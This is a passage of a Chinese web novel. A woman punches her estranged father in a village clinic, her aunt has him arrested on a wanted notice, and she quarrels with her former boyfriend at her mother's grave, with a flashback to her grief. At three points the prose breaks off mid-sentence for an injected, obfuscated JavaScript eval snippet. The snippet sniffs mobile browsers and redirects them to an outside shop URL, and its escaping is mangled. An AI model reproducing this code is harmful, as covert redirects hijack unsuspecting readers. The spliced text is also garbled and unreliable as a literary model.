“第一天是工作,现在呢?长得好,身材好的小年轻,山野别墅,干柴烈火……” 姜孟雨在她耳边说得一套一套。 而她眼前。 安时年带好口罩,提着餐盒的袋子,示意她都拿好了。 贺穗忙点点脑袋将姜孟雨带歪的思绪拉回来。 “好了好了,只是工作,不和你说了,我忙着呢。” 刚挂下电话,门外就来了位不速之客。 陈前林两手提着红袋子装的水果,笑呵呵地站在门口。 “小穗,你认识我吧?” 他顶着脸上的一块青包,旁若无人地进来,连门都不关,水果放桌上,搓了搓手,笑道:“你们怎么站着,我给你说点事,不耽误多少时间。” 安时年察觉到贺穗颇为严肃的气场,抿抿嘴唇,刚往前一步要开口,被贺穗伸手挡下。 她的眼睛还在陈前林身上。 “你说着,我听听。” 头都没回的贺穗就推着安时年往后退,等他坐到病床上,她拉上床帘,给安时年隔出一片清净地。 贺穗不想自己的事情牵扯到无关紧要的人。 安时年可以不出去,但最好不要看见。 “你把你朋友挡住干什么,又不是听不见了。” 陈前林笑笑。 贺穗额头和小臂上的绷带还没有取下,刚梳好的长发垂在她身前,她双手抱胸,看了看手表。 “三分钟,说快点。” “好歹我们父女一场,怎么这么生疏。” “先申明一下,我们毫无关系。” 安时年站在床帘背后坐立难安,贺穗不愿意他出去,可像现在在已知与未知之间徘徊才是最痛苦,他生怕那男人有什么控制不住的举动。 让贺穗在他眼前受伤,迟一分一秒他都得愧疚死。 他攥紧床帘听着外面的动静。 在贺穗给他的剧本中,母亲的经历是未婚先孕,父亲说遍花言巧语,没想到第二天人就逃走了。 陈前林脸上的笑带着几分不自然的僵,从塑料袋子里拿出个橘子,再拨开皮,慢悠悠地掰了一小瓣,“你的性格倒是和你舅舅像。” 他起身往前凑了凑,把掰开的橘子递到贺穗面前,“尝尝,你母亲最爱吃橘子,你呢?” 话音刚落,安时年就听见一阵巨响,像是什么重物砸在地上,他倒吸的凉气还没咽下去,手已经掀开布帘。 只见陈前林蜷缩在柜子下,本就青紫的脸上又泛上几道拳头印,不过两秒,那印子就像浸了血似的,在脸上漫开一片红。 贺穗站在旁边,甩了甩手腕,哼笑道:“没想到我真坚持不到三分钟。” “我是你爹!你凭什么揍我?!” 陈前林一顿臭骂里就说了这么两句能听懂得,他爬不起来,靠在柜子前坐着。 病房的动静引得诊所里的人都跑到门口来看情况,一帮爷爷奶奶凑过来在门口踮着脚往里瞧。 “怎么了这是?” “哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372335|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呦,春筝儿的丫头吗?” 老人家三言两语就把贺穗的年岁,名字猜得差不多。 这几天除了救援的还来了不少志愿者,多是些年轻人,他们支开围着看的人群,抬眼就被陈前林脸上的青红相交的包笑到。 “没天理啊!丫头揍爹,谁能管管?” 人越多陈前林喊得越起劲儿。 看他无理取闹的样子,贺穗手又攥成拳,深呼吸下去,毫无预料地一双大手就轻轻地覆上来,捏了捏她的手腕。 安时年戴着口罩,他把发箍取下,用头发盖住眉眼。 “别冲动。” 他在贺穗的耳边轻声说。 另一边最先进来的小姑娘看到这一幕差点瞪大眼睛往后倒过去。 在这个两里路看不见几个年轻人的村子里,安时年优越的身高和气质简直太好认了。 身后几人一同扶住前面的小姑娘。 “安时年?” “是吗?” “我没看错吧?” 几个人话还没对上,手机先拿了出来。 镜头拍过去,看不见安时年的脸,倒是把贺穗的脸拍得清清楚楚,她顶着额头的绷带低眉看向这里。 脸上满是生人勿近的气场,一手插着兜,皱眉道:“不要拍照,谢谢。” 几人咽了咽口水,放下手机。 “麻烦把门关一下。” 再十分听话地把门关上。 陈前林看人真走完了,喊叫的声音才停下来。 他捂着发肿的脸,嘴角扯不出好看的弧度,一高一低裹着咬牙的狠劲:“你这一拳头,你爹我脸都废了,不得赔点?” 贺穗坐到他面前的椅子上,一条腿搭起来,轻笑道:“你总算是把话说点子上了。” “你……赔多少?” 话还没说完,病房门又开了。 方慈穿着一身白大褂,挡住身后的学生进来。 他看着坐在椅子上的贺穗一时愣住,与过去亲昵撒娇的贺穗判若两人,身边站着安时年,地上靠着柜子的陈前林转头看向他。 一时安静下来的病房里,贺穗“啧”了一声。 陈前林回过头来看向她,对上贺穗的笑容。 “我不缺钱,你觉得多少合适?” “我……” 被贺穗盯得有些发怵,还有她身边站着的安时年,连脸都看不见。 “贺穗!”方慈大步进来,扶起陈前林看向贺穗说:“你……怎么能把人打这样?” 方慈看了看陈前林的伤势,“您这得包扎一下了。” 贺穗没给方慈一个眼神。 她还是笑着,撑着下巴盯着陈前林,“还没说呢,多少合适?” 她的脸上不见关怀更多的是嘲讽。 方慈觉得贺穗陌生,也从未想过她变得这样不尊重人。 “贺——” 他话音未落,身边的陈前林喊道:“十五万!十五万……我们一笔勾销。” 安时年喊道:“十五万?你脸是金子做的,一拳头敢要十五万?” 方慈看看身边鼻青脸肿的陈前林。 贺穗已经迈着步子走了过来,停在陈前林面前:“算上昨晚我舅舅打的,才两次你就要十五万,你不觉得钱太好挣了吗?” “那,十万行了吧?十万,我以后绝对不出现在你面前,绝对不提你妈,你看行不?” 陈前林放开方慈扶着的手,不顾脸上的肿痛,硬是挤出个讨好的笑容。 “不用少,”贺穗打断他说:“你不是要十五万吗?一次一万,还剩下十三次,受得住,我就转给你。” 话刚说完,安时年和方慈都换了脸色,几乎是同时抓住她。 他们太清楚贺穗说的不是玩笑话。 她真给得起十五万,也真下得了手往死里打。 安时年低声劝她:“别冲动,冷静冷静,你手上还有伤呢。” 谁知道陈前林却像是捡了便宜,大笑着,像是忘了疼似的,拍着大腿应下来:“好啊!我受得住!你尽管来!” “你疯了?!”方慈对这两个疯得不分伯仲的人不知道先骂谁。 他一把抓起陈前林的衣领,用力地把人往门外拉。 14. 首位 贺穗曾经最想填补的空白终于出现,她本意是想要了解,不参杂任何地看他到底在想什么。 但当她听到陈前林再次提起母亲。 自然地说起母亲最爱吃的食物。 贺穗还是觉得难以言说的,无比的。 恶心。 身体比脑子先出手,她没心情看到他到底好在哪里,要看他最最低下,最让人厌恶的东西。 曾经漏雨的房顶,大雪天上学路上掉链子的自行车,在所有恰逢时宜他该出现的时候,赶来的总是姗姗来迟的母亲。 “你为什么不来接我!我早就给你打了电话,说车坏了!” 在贺穗五年级的冬天,她推着比她高的自行车,一步步从学校走回家,在路口看到跑来的母亲时,她才嚎啕大哭。 贺春筝拍拍她腿上的雪,背上她的包,棉布手套一边抓着贺穗,一边推着自行车。 “我这不是忙吗?没抽出时间过来,不过你怎么这么厉害,一个人就走到这里来,再走两步就到家了。” 贺春筝笑笑,指着前面的小道说道。 “我不要这样的厉害!”她甩开贺春筝的手,匆匆跑远。 她仍然记得当时在想什么。 想还有人能帮帮我就好了,我想快快长大,不麻烦母亲就好了。 可我又想麻烦母亲,想撒这样的懒以此为借口把她叫过来。 寻求爱,本就是孩子的本能。 贺穗不能以一个成年人的身份评判过去的身为孩子的自己,是如何自私,如何不懂事。 可那时任性所形成的愧疚时至今日都没有消散。 尤其在田舒宁来了家里后,她才任性嫉妒到了极致,又在自己身上打下了今生都不能磨灭掉的烙印。 为了离母亲近点,贺穗将大学报到家门口。 稀松平常地回拿画材的中午,是贺穗第一次见到田舒宁。 对这个突如其来可以算是妹妹的人,她还觉得有些可爱。 直到早上从未出现过的早餐,被精致地摆在桌上,田舒宁发烧后,母亲彻夜守候,漫天雪季,母亲都能推了工作去接她。 连亲生女儿都没有的照顾,凭什么给一个毫无关系的陌生人。 贺春筝让田舒宁吃下药睡过去后,直至深夜才出来。 她揉揉脑袋正好看见站在客厅的贺穗。 “怎么还没睡?” “她什么时候走?” “你说的这是什么话,这孩子从镇上考到市里,无亲无故的,咱们不得帮衬着?” 贺穗简直嫉妒到了极致,心里千百次的“凭什么”成了嘴里止不住的一句句质问。 “我快分不清你是谁亲妈,我上高中那么累,夜里发烧的时候也没见你来接我,陪我,凭什么她就可以,又凭什么要帮一个毫无关系的人?我才知道,原来你可以接到电话后立马到学校,原来你可以早上做一顿饭还这么高兴,只是不是我对不对?你是不是从来不喜欢我,从来都不爱我?” 她忘了母亲的反应是怎样的,只记得自己从那天以后就拿着自己画画挣来的钱去租房。 心里想得是把短片画完就去和母亲见面,后来又想把奖拿了后再和母亲见面。 一等再等,一推再推。 最后是机场一通电话,噩耗夹着滚烫的钳子给她心口打下无法磨灭的烙印。 在恨的一栏里,她把自己排在首位,一骑绝尘。 贺穗站在门口,听着门外方慈斥责陈前林的声音。 陈前林怒吼着:“光靠她娘,哪里能有她?!我告诉你,打碎骨头连着筋,就算上了法院,你还得管我叫爹!” 贺穗还没动安时年倒是先跑上去,贺穗一把将他拉住。 “你干嘛?” “我忍不了了,你待着,我去揍他,钱我付,”安时年抓住贺穗的手推下去,“反正已经揍了,报警我们也不占理,还不如打个痛快。” 安时年戴着口罩说话,吹得刘海一阵阵飞起, “神经。” 贺穗把他的手甩开,“你出去一会儿那些学生拍的视频就得多一倍,我还没急你急什么?话说你怎么这么沉不住气,说了让你待着还跑出来。” “我怕出事。” “我又不是小孩儿,有什么可担心的。” 病房还略带着消毒的味道,贺穗双手插进外套兜,摩挲半天又翻裤兜,昨天明明从家里抽屉里多拿了根烟,此刻却连烟渣都摸不到。 一套动作下来,她指尖顿了顿,重新掏出手机,点着屏幕。 “我有,我有!” 安时年也不问她找什么,脚步没停下,径直走向病床,翻自己刚收拾好的包 贺穗站在原地打通电话,没注意他往哪里走。 “给你。” 贺穗闻声转头,安时年骨节分明的手递来一个橙红色的橘子味棒棒糖。 不但拆开了包装,还给自己吃了一个。 “我不吃这……” 贺穗还没说完,就被安时年直接放进嘴里。 “我知道你就是想吃这个,对吧?” 安时年知道她在找什么,但他偏不问,不说,一定要撕开糖的口子让她不得不收下。 贺穗的不急切,不在意,却催得安时年正经。 安时年掀开厚重的床帘,看见贺穗略为颤抖又即刻变得沉稳自然的背影。 他承诺要循循渐进,可是私情不许。 多情泛滥出的好心肠,让他越发不知道贺穗对于他的特别之处。 究竟是多年前让他记忆深刻的短片?是贺穗一次次化险为夷的能力?还是比任何人都多的心疼,又或是他真的肤浅地因皮囊而心动? 至少现在,对贺穗的心疼不是出于礼貌,而是切实地想要她依靠自己的心情,无法停歇。 像一场狂风席卷了风车,轮转,不能自控。 “好吧,谢了。” 贺穗只能接过棒棒糖嘟嘟囔囔地开口,再转身去接电话。 另一边橘子味在嘴里几乎溢出来的安时年,捂着疯狂跳动的心脏,呆呆站着。 “喂,什么时候到?人在我这里,”贺穗拿着棒棒糖转了转,“呃,打了脸,就一下。” 沉默片刻,贺穗惊讶道:“到了?!” 她匆匆挂了电话去开门,回过神来的安时年也紧随其后。 贺穗手刚到门把上停了下来,看向安时年。 “怎么?” “你在这里待着,别出来。” “哦……” 安时年点点头,一时紧张忘了自己这光站着就惹是生非的身份。 门外问诊的位置上乌泱泱地围了一圈人。 除了方慈最醒目的就是围着围巾,站在人群中央与身边警察说话的女人。 是贺穗的小姨——贺春藏。 贺春筝过世前就写好遗嘱,将自己资产继承给了贺穗,但只有公司她分给了贺穗一部分股权,不许贺穗参与公司决策,剩下的则是全交给了贺春藏。 她的短发烫了大卷,一侧利落地别在耳后,妆容简洁大气,最显眼地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372336|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她唇上大红色的口红,一身风衣站在人群中。 一旁是给她提包的助理,身后还跟着两个警察。 “警察同志你看看,这人像不像?”贺春藏将陈前林的脸掰过来,对照着手机上蓝底白字的通缉令,“如假包换,陈前林。” 陈前林被方慈绑在椅子上,再不情愿也躲不过去。 几个月前不知道在哪里骗了几万块钱,花也不敢花,自己躲到村子里,出也不敢出去。 白白得个通缉令,好巧不巧又让贺春藏看见了。 “草,”他暗暗骂了一句,又扯出一个比哭还难看的笑:“警察同志,钱我没花,一分不少,我马上还……” “先跟我们走一趟,进行检查。” 跟来的两个警察,冷冰冰地把话说完,抽出手铐打在陈前林的手腕上,将他左右环住推着往门口挪。 贺穗站在病房门口,看陈前林被裹挟着带走的背影。 正好瞧见贺春藏转身对她笑了笑。 昨夜空荡荡的病房里贺穗躺着睡不着,就给贺春藏打去电话,说起陈前林,才知道他为什么出现在村子里。 人还没到车上,陈前林就大叫着,像是抓住救命稻草般伸着脖子往屋里挣:“我脸上的伤,都是里面那女人打的,你们看我脸,颧骨这儿青的,还有嘴皮子破的,都是她弄的,她故意伤害!!” 人们围得越来越多,村里乡老的脑袋像皮球一样统一左瞧右看,直到贺穗从里屋穿过人群,定定站在门前。 贺春藏喊道:“故意伤害?我呸!我还说你还在这儿危害公共安全!赏金还不够赔我们精神损失费的,没问你要你就偷着乐吧,回去让你老妈认认模样,别到时候出来破了相认不得宝贝儿子长什么样!” “我是来好好说话的,贺穗!是你逼我把话说这么难听,那疯子就不该把你生下来,一家的疯子!!” 他话还没说完,迎面就被扇了一巴掌,两个警察拦都差点没拦住来人。 贺春生挺着身子,“你再敢提她试试,看我不撕烂你的嘴!” 警察一左一右死死捂住两人的嘴,半拖半架地把情绪失控的两人往警车上拽,塞进车后“砰”地关上门,油门一踩,车子就迅速驶离了现场。 冲着陈前林来,倒多抓了个贺春生。 人群跟着车的尾声四散开来,剩下些无处可去的外乡人。 贺春藏拍拍贺穗的肩,“你舅那脾气先让他跟着去待会儿,我晚点再去看他。” 贺穗点点头,转过身是刚才站在门口穿着白大褂红马甲的学生。 他们刚对上贺穗的视线,慌慌张张地跑了。 “你吃人啦?”贺春藏搭上贺穗的肩膀问道。 贺穗无奈挪开她的手,“不是,我刚打陈前林的时候被他们看见了。” “原来如此,我以为是你脸臭得把人吓跑了。” “我平时可都是笑呵呵的,好吧?” 贺穗不信邪,露出笑脸给贺春藏。 “你我还不了解?简直假得要死。” 贺春藏也就比贺穗大了十一二岁,在贺穗朋友贫瘠到近乎没有的童年里,她算是唯一的说得来的人。 “话说陈前林是不是来管你要钱的?” 贺穗点点头。 “果然让我说中了,”贺春藏摆出拳头,“要我说你揍得还是太轻了,这种烂人多揍几次,尽兴了,就行,还有我呢,我给你兜底。” 贺穗笑了笑,问道:“一次一万?” “当然!不给他,给你,当奖励。” 15. 两路 两人有一搭没一搭地说了两句,方慈走到了跟前,脸上带着温和的笑容,先朝贺春藏颔首:“小姨,好久不见。” 贺春藏抬眼打量片刻,眉眼看着眼熟,却一时想不起名字,含笑问道:“你是?” “方慈。” 贺穗的感情经历实在算不上丰富,带到面前她见过的也只有方慈。 这么多年过去,方慈褪去了年少的青涩,更加成熟沉稳,贺春藏才恍然大悟,笑着点了点头:“是你呀!好多年不见了,学业都顺利吗?” 说着她又斜眼瞧了瞧冷脸的贺穗。 “顺利,我已经毕业了。” 方慈尴尬笑笑。 贺春藏笑得越发熟络,眼角的细纹都舒展开,“那太好了,恭喜恭喜!我以前就说你行。” 贺穗没接话,目光越过几人,望向诊所忙碌的身影,有的学生在看诊,有些学生在里里外外搬椅子。 她收回目光看向方慈,语气沉静:“方慈,你跟刚才拍到安时年的学生们说一声,视频还是删掉吧,免得惹来不必要的麻烦。” 方慈没有丝毫犹豫,接话道:“行,我这就去说。” “安时年?”贺春藏耳尖地捕捉到这个名字,眼睛一亮,好奇地往里探了探头,还下意识地垫垫脚,“就是最近待在我们村的小明星?他在哪儿呢?” 她正伸长脖子往里看着,肩膀忽然被轻轻拍了一下,贺穗蹙着眉,眼里满是无奈,“正经点。” 贺春藏撇撇嘴,笑着摆了摆手,朝不远处站着的助理喊道:“小白,你跟着小方一起去看看。” “不用,这些都是方慈的学生,他来管就行,小白你去把我的车开到门口。” 贺穗说着把车钥匙一抛扔进他手里,又拍拍身边贺春藏的肩,“你在车里等会儿,我把他叫出来。” “你要走?还没换药呢。” 方慈叫住贺穗。 贺穗没看他,直愣愣地往里屋的病房走,说:“你把药装起来让我小姨拿着。” 她跑着进了病房,身后的方慈定睛看了好久。 许是贺春藏看出他的无奈,拍拍他的肩,“行了,还看呢。” “她变了好多。” “这么多年,我姐去世,前些年小穗的工作室还几度开不下去,大风大浪走过,还以为她是和你谈恋爱的小女孩呢?” 方慈一时愣住,以为是自己听错了。 “谁?谁去世?” “你不知道这事?” 贺春藏双手抱在胸前看向方慈,在他茫然的表情上她才明白一点,自己这个死要面子的外甥女根本就没有告诉过别人这种事情,甚至连那时最亲近的男朋友都未曾告知。 “什么……时候过世的。” 他双眼载着泪,一时没忍住就背过身去。 心里最清楚不要碰上哪个坏时机,不敢听却又硬着头皮问了。 “六年前,秋末的时候,忌日快到了。” 贺春藏大概能猜到些。 年轻的时候都以为相遇恋爱简直几世缘分,心有灵犀不点就通,以为自己关了灯偷偷流泪,对方就会默不作声地来拥抱,亲吻,安慰。 连皮肉与内心都像两个人,自己都不能让自己如意,还总是自欺欺人地期待别人明白。 方慈双手覆在脸上,哽咽难言。 他想过贺穗变得平淡的各种原由,却独独无法想到是这件事,也不敢相信几年的感情都不足以让贺穗依靠自己。 “她,她竟从来没有对我说过,我还在那时提了分手,没有陪陪她。” 贺春藏无奈拍拍他一米八九的大个子,安慰道:“你是不知道,不怪你,小穗呢,有自己的主意,不告诉你一定也是有原因的,你也别怪她,都没错,都没错。” 小白开了两辆车停到门口,小碎步跑进来。 “贺总,车来了。” 贺春藏点点头,又对方慈笑道:“行了,都过去了,现在重新开始也不迟,我看好你!” 诊所里学生们藏不住的视线聚集在他们身上,下一刻里屋的门打开,安时年提着大小的袋子和贺穗一起出来,整个视线平移到安时年身上。 他外套穿得规规整整,挡住了内搭里贺穗动画工作室的字,挽起的裤脚也放了下来,脸上换了诊所的医用口罩戴着,头发还是老样子盖住眉眼也看不清人。 瘦瘦高高的一条人从房间里走出来,大步到了门前,他转身向后深深一鞠躬。 “各位,我是安时年,因为是我的私人行程,就恳请大家不要在网络上发布今天视频。” 方慈闻声直起身来,说道:“刚拿手机拍照的那几个,配合一下,王灿一,你看看大家的手机。” 带头的学生点点头,去检查手机。 贺穗紧接跟上,引着安时年出门,“走吧,车在门口,小姨,你们跟我们的车一起走吧。” “小姨?”安时年看向贺春藏,笑了笑,伸出手,“您好呀,我是安时年。” 贺穗先一步去开车门,一转头安时年笑嘻嘻地和贺春藏聊上了。 贺春藏:“大明星,我们公司的小女孩可都很喜欢你,不知道你演唱会的票能送几张不?” “当然!”安时年笑着,“下次演唱会我让贺穗寄给您。” 贺穗指尖隔着纱布按在太阳穴上,脸上挂着几分无奈,快步折返回来推了推安时年的胳膊,示意他赶紧上车又转头看向贺春藏,没好气地说:“你可别拿我的人情办这种事。” 安时年却没当回事,依旧眉眼弯弯地笑着。 “你看看她,就是这样,”贺春藏点了点贺穗说,“小穗,你让小年坐我的车吧。” “为什么?” 贺春藏让小白引安时年上车,抿着红唇向贺穗笑道:“你的药我没拿,等会儿自己开车来吧,我在村长那里等你哦。” 她拖着长长的尾音,向贺穗身后抬头示意。 顺她的目光回身看去,方慈在诊所门口站着。 他双眼带着红,轻咬嘴唇,扯了个不尴尬的笑容。 贺穗大叹气,“你又说些没用的。” “长了嘴就是要说话的,去吧,去说清楚。” 贺穗抬眼看见站在贺春藏身后的安时年,双手插着腰,歪头眯眼笑着看向她,抬了抬眉又换了种笑法。 他又在装什么可怜。 一定要去吗? 安时年在心里轻轻地说着。 话到嘴边又换了种语气,他向贺穗摆摆手,佯装哭泣地擦擦眼泪,“你去吧,我自己走了。” “少装,安时年。” “哪里装了,你快去吧,不用担心我,我会老老实实和小姨一起走的。” 说着又伸手擦擦脸上没有的泪水,看着一副楚楚可怜的样子,实则是耍着坏笑上了车。 他早就吃完了一起打开的棒棒糖,可嘴里还缠着丝丝缕缕的甜味,像是心动的信号仍然纠缠着自己平静的内心,差点再掀起波澜。 虽然不想让你去,但如果他能让你的心结打开,也是好事一桩。 路走得晃晃荡荡,远处草浪还是一如既往地翻涌,太阳开始西落。 贺春藏笑道:“再看两眼吧,等放了水这片草地就看不见了,但是湖景也不错,要不要多待几天?” 安时年:“不,路通了之后我还有工作,很快就走了。” “那下次休假再来,多待几天。” “好,我带着朋友们来。” 安时年挠挠鼻子,笑了笑。 “你是因为工作才来的吧,小穗的电影……配乐吗?” “对。” “她是不是很难搞,要求很多啊?” “有点,我很少见改这么多次都不能定稿的,”安时年尴尬笑笑,“不过为了有更好的作品,精益求精不是坏事。” “她对自己要求也很高,我记得她的第一部作品打磨了很多年,没日没夜地画,我去她出租屋看她的时候,瘦得要命,每天吃的那点饭纯是为了维持生命体征。” 贺春藏一只手环成圈,给安时年看那时贺穗的胳膊有多细小。 安时年听着,心底那份异样的心情再次涌上来。 “对了,你住哪里?” 安时年回过神来,说:“村长给我安排了住的地方。” 贺春筝摆摆手:“他能安排个什么,贺穗那里那么多空房,就没让你留下?她把你带进来的,这孩子也太不像话了。” “不是,我这两天都住在她那里,只是今天村子里进来的人越来越多,如果被拍到我进出贺穗的家,很难解释。” 山路整体还不安全,但也有人能进来,现在狗仔私生上天入地哪里都能遇见,他真是心里发怵。 说好在贺穗家里多留两天,现在直接泡汤。 不过这两天乱跳的心思,他需要时间去整理。 安时年开了车窗,涌进来的风吹得他刘海打架,只能眯着眼睛看夕阳西下。 灰蓝色的天地被山峦划开,一上一下,一青一绿。 贺穗从诊所换完药,开车穿过草浪往后山上走,也是没想到今年第一次扫墓还带着方慈。 还有被遗忘的脆脆,坐在后座上。 后山有一条人踏出来的小路,经年累月后被村民们铺上一根根木条,上山才不至于破双鞋子。 脆脆玩了一下午还有得是力气,三两步就跑得远远的,半路上大喊:“贺姨姨,我在山上等你!” “好—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372337|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在春筝奶奶那里等我们!” 贺穗说完,停下来听着,直到脆脆悠长的应答声在林间传来,她才放心地挪步往山上走。 木栈道旁就是围栏,越往上走整个村落越清晰,远处山口开出的车辆,长路上沿道的应急灯一个个亮起,贺春筝的墓地还要往上走,比现在还高。 贺穗靠着围栏等了会儿,手揣进衣兜里,安时年拆开的糖她没来得及吃,把糖纸找出来包上先揣着。 差点忘了。 她拆开糖塞进嘴里,橘子味充斥在嘴里。 迎着风,她抓了抓自己的头发,碰到一双冰冰凉的大手,帮她梳理长发。 “我帮你扎上?”方慈问。 “没带皮筋,搭着就行。” 贺穗转身接着往上走。 方慈看着贺穗的长发从指尖飘落,低头又抬头看她高了几节台阶,他才堪堪开口:“你为什么没有告诉我这件事,那时我们还没有分手。” “我注定要在国内发展,你也注定要出国,我——” 贺穗话还没说完,就感受到方慈的身影凑上来环住她,蹙眉急切地问道:“可如果你告诉我,我知道了一定会留下来陪你的。” 他的个子很高,光是站在贺穗身前就挡住了不少风。 才说完,贺穗就猛地将他推开,边走边说:“陪过那段时间之后呢?之后就是分手,离开,再也不回来。” 她不指望方慈说出什么好话,可是像这样不可能再出现的假设,实在太过荒谬。 “不是——” 她站在拐角的平台上,拿出嘴里的棒棒糖,无奈笑着说:“方慈,我早就不是学生了,我有自己的公司,优秀的团队,得到业界认可的短片动画,这两年还在着手做长篇动画,我也有信心去争国际上的奖项。 “你呢,读书二十多年,医学博士,很优秀,这本就是各自奔赴前程的事情,难道说我母亲的去世就会让你改变人生吗?你不必因没有陪伴我而愧疚,再回来提补偿,我是个成年人,从前是,现在更是,我有能力为自己的人生掌舵。” “可人不是铜墙铁壁,你更不是。” 方慈看着她,踌躇着不知道是再往前还是后退。 在他的印象里,贺穗是百无聊赖会在午后的图书馆陪他,是会在运动会上全力奔跑夺冠后拿到他面前,笑脸盈盈地等待夸奖,会在委屈后嚎啕大哭地扑进他的怀里,深深拥抱,直到迷糊睡着。 会在他上课的时候,把纸条从他窗口扔进来,人背着包在樱花树下做着搞怪动作吸引他的注意。 贺穗没有回答他的话就接着走上了山,他紧随其后。 “我可以给你依靠,你那时为什么不告诉我,我也不是小孩儿,给自己的恋人最基本的依靠、安慰,难道我做不到吗?” 他无非是要问,那时的你爱不爱我,连这样承担恋人痛苦的事情。 都没资格吗? 两人走到了墓边,擦得锃光瓦亮的墓碑前放着大小的零食和几朵野花,先跑上来的脆脆趴在墓碑前用树枝画着圈圈。 贺穗冷冷说:“方慈,分手是你提的,不是我。” 棒棒糖已经吃完,她把棍子用重新糖纸包起来放回衣兜里。 拉上衣领说:“就算你换了脑子,这也是并不会改变的事实,要我把话说得这么明白吗?” 方慈被她说得一愣。 时间早就冲淡了他那时的心情,分手的原因连他自己都快忘了。 “你打来电话想见面吃个饭,”贺穗抱起跑过来环住她小腿的脆脆,接着说:“你说你申博成功了,读完博还要在国外定居,我不愿意,就分手了。” 就这么简单。 没有纠缠,没有争吵,彼此体谅彼此理解,就分开了。 贺穗叹声气,看向方慈,现在的他还有没过去坦率,仿佛过去说这些话的人不是他,六年时间他反倒多了份偏执。 偏执? 看他怔愣的神情,贺穗想起最开始恋爱时方慈的模样,好像就带着这样的偏执与占有。 他会为贺穗准备好生活中会用到的一切用品,只要有一样不是他买的,他都一定会在每天的惊喜中细心添上。 贺穗与男生讲话时,他要站在角落定定地盯着等待,后来甚至她与女生说话,方慈都等得心慌。 山顶的风更大了,贺穗紧紧抱着脆脆。 年轻的爱裹挟着占有与欲望,当对方的一切都属于我时,才是爱的最大表现。 那年初雪夜,方慈所忘记的心情。 贺穗才想明白 没有被规划进的未来,坦然大度的态度,互相尊重的幌子打了这么多年。 尘土一扬,写的是顷刻间爱并不那样丰厚的结局。 16. 动心 几年前,分手那天。 葬礼结束,贺穗就没有出过前明村,将自己关进家,有时窝在房间,有时躺倒在阁楼的画室,客厅满墙书柜前的摇椅,茶几,被大小的酒瓶堆满后几乎没有下脚之地。 她迷糊着睁开眼,整个身体因为睡得太久而不能动弹,直到手上被握得发热的酒瓶滑落,与地上的空瓶相撞,一声脆响。 才真的将她从梦里拉出来。 赤脚踩在地板上,她酒意未消一手扶着墙晃晃悠悠走到储物柜,弯不下腰就直接跪坐到地上,两手摸索着打开柜门。 柜子里只剩下零零散散的空瓶和一瓶手掌握得来的小酒,再没什么了。 贺穗毫不犹豫,推倒一堆玻璃瓶碰撞发响,拿起唯一剩下的小瓶酒直接往嘴里灌。 灌到呕吐。 酒精酸甜得发腻。 这是贺春筝喜欢的味道。 等到贺春藏来看她,先被满地的酒瓶子震惊,跑进来再看,贺穗整个人跪在一楼主卧的房门口。 头抵着深棕色的木门。 睡着了。 贺春藏咬着牙去拉贺穗,可眼前人是用蛮力在抵抗,纹丝不动。 索性作罢,她跟着坐在贺穗身边,叹气道:“你这样她可得哭一阵。” 紧闭的窗帘让整个房间昏暗低沉,光在夹缝里偷窥,碰上几个玻璃瓶就反射得天花乱坠。 贺穗转过头看着被反射来最近的那一束光,丝丝缕缕间还是离她很远。 “来吧,来我梦里哭,来骂我。” 几滴泪水顺着早已存在的泪痕分毫不差地再滑落,眼角,鼻梁,嘴唇,最后被贺春藏伸来的手背擦净。 “她看你一个不喝酒的人喝光了她的酒,得心疼死——” 贺穗:“心疼酒。” 贺春藏:“心疼你。” 寂静空泛的客厅里,从院子越进来的斜阳打上木质书柜,掠过一排排书籍,自西至东,像是把书籍主人的心思轻轻拂过。 贺穗头抵在门上,地板上空荡荡地点着几滴泪。 “还喝吗?她屋里还有。” 贺穗趴在门上,说:“不行,不许进,谁都不许进。” “我是她亲妹,也不行?” “不行。” 贺春藏也不和她争,拍拍身上的灰站起来,“你手机呢?” “不知道。” “你男朋友给我连番轰炸式的电话打来,”贺春藏点着手里开了静音的手机,亮给贺穗看屏幕上方慈的名字,“你看,又来了,你接吧。” 手机开着震动扔到贺穗手边,贺春藏脱了大衣向岛台走去,给自己倒了杯水。 “我没和他说什么,你自己去聊聊,当恋人的这么多天不联系也不行。” 许是贺春藏的话起了作用,又或是被电话催得动心,贺穗总算是起身去浴室洗漱。 深秋已过,踏进冬日的起始。 小白把车停到院子口等着,贺穗围上厚厚的围巾,坐进车里 贺春藏跟着她提着大小的垃圾出来,拉下贺穗这边的窗户,问道:“约在丰台区了吧?” 贺穗点点头。 “那快去吧,我估计到那里天也黑了,小白,车不用开回来,她吃完饭去哪里你就送一下,明天后天给你放假。” 